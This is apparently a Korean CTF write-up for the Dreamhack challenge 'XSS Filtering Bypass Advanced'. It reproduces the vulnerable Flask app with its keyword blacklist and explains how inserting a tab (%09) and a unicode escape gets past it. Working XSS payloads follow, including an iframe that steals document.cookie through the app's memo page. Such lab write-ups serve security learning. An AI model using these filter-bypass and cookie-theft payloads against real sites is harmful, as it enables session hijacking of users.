본문 바로가기

Web Hacking/Dreamhack

[Draemhack] XSS Filtering Bypass Advanced write up - 티스토

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

 

필터링 부분이 추가 되었다.

 

HTML a태그를 사용할 수 있기 때문에 javascript 스키마를 이용했다.

 

 

클릭할 경우 alert(1)이 떠야되는데

 

 

URL 정규화 과정에서 지워질거라 생각했던 \t같은 특수문자들이 안 지워지고 있다. 실제로 HTML에 \t \1같은 문자를 넣으면 '\' 't'가 그대로 들어가고 있다. 즉, 이스케이프 문자로서가 아닌 그냥 2바이트의 문자로서 해석되고 있다. 따라서 이를 위해선 탭을 실제로 넣어줘야 한다.

 

나는 탭을 URL 인코딩한 %09를 넣어줬다.

 

<a href="javascrip%09t:alert`1`">XSS</a>

 

 

alert(1)이 떴으므로 이제 페이로드를 작성해보자.

 

<iframe src="javascrip%09t:locatio%09n.href='/memo?memo='+\u0064ocument.cookie">

 

 

 

위의 페이로드에서 %09는 URL 인코딩 전으로 넣어줘야 한다. 이유는 사용자의 입력이 URL 인코딩 되기 때문이다.